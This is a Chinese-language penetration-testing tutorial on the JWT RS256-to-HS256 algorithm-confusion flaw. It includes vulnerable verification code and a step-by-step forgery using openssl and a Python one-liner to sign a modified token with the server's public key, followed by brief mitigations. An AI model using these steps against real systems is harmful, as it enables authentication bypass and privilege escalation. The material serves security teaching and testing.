仅用于教育目的! 旨在用于
黑客渗透测试人员。
发行
HS256算法使用密钥对每个消息进行签名和验证。 RS256算法使用私钥对消息进行签名,并使用公钥进行身份验证。
如果将算法从RS256更改为HS256,则后端代码将使用公钥作为私钥,然后使用HS256算法来验证签名。 非对称密码算法=>对称密码算法。
由于攻击者有时可以获取公共密钥,因此攻击者可以将标头中的算法修改为HS256,然后使用RSA公共密钥对数据进行签名。
后端代码使用RSA公钥+ HS256算法进行签名验证。
例子
客户端验证如下所示时,将出现漏洞:
const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms )
假设我们有如下所示的初始令牌,“ =>”将解释攻击者可以进行的修改:
//header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' }
后端代码使用公共密钥作为私钥,然后使用HS256算法来验证签名。
攻击力
1.捕获流量和有效的JWT令牌(NCC组示例)
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg
2.使用Burp解码器解码令牌
结构为header.payload.signature,每个组件使用URL安全方案进行base64编码,并删除了所有填充。
{"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}}
3.将标题
alg修改为HS256
{"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}}
4.转换回JWT格式
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0
标头和有效负载已准备就绪:)
5.复制服务器证书并提取公钥
所缺少的就是签名,并计算出我们需要服务器使用的公钥。 这可能是免费提供的。
openssl s_client -connect <hostname>:443
通过运行以下命令,将“服务器证书”输出复制到文件(例如cert.pem)并提取公钥(到名为key.pem的文件):
openssl x509 -in cert.pem -pubkey –noout > key.pem
让我们将其转换为ASCII十六进制:
cat key.pem | xxd -p | tr -d "\\n"
通过将公钥作为ASCII十六进制提供给我们的签名操作,我们可以看到并完全控制字节
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:
输出-即HMAC签名-为:
db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f
将这种ASCII十六进制签名转换为JWT格式的方法是:
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"
输出是我们的签名:
2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
只需将其添加到我们的已修改令牌中:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
6.将更改的令牌提交给服务器。
解像度
1.仅使用一种加密算法(如果可能)

2.创建不同的功能以检查不同的算法

参考文献
1.
medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e62.
www.youtube.com/watch?v=rCkDE2me_qk(24:53 )
3.auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries4.www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through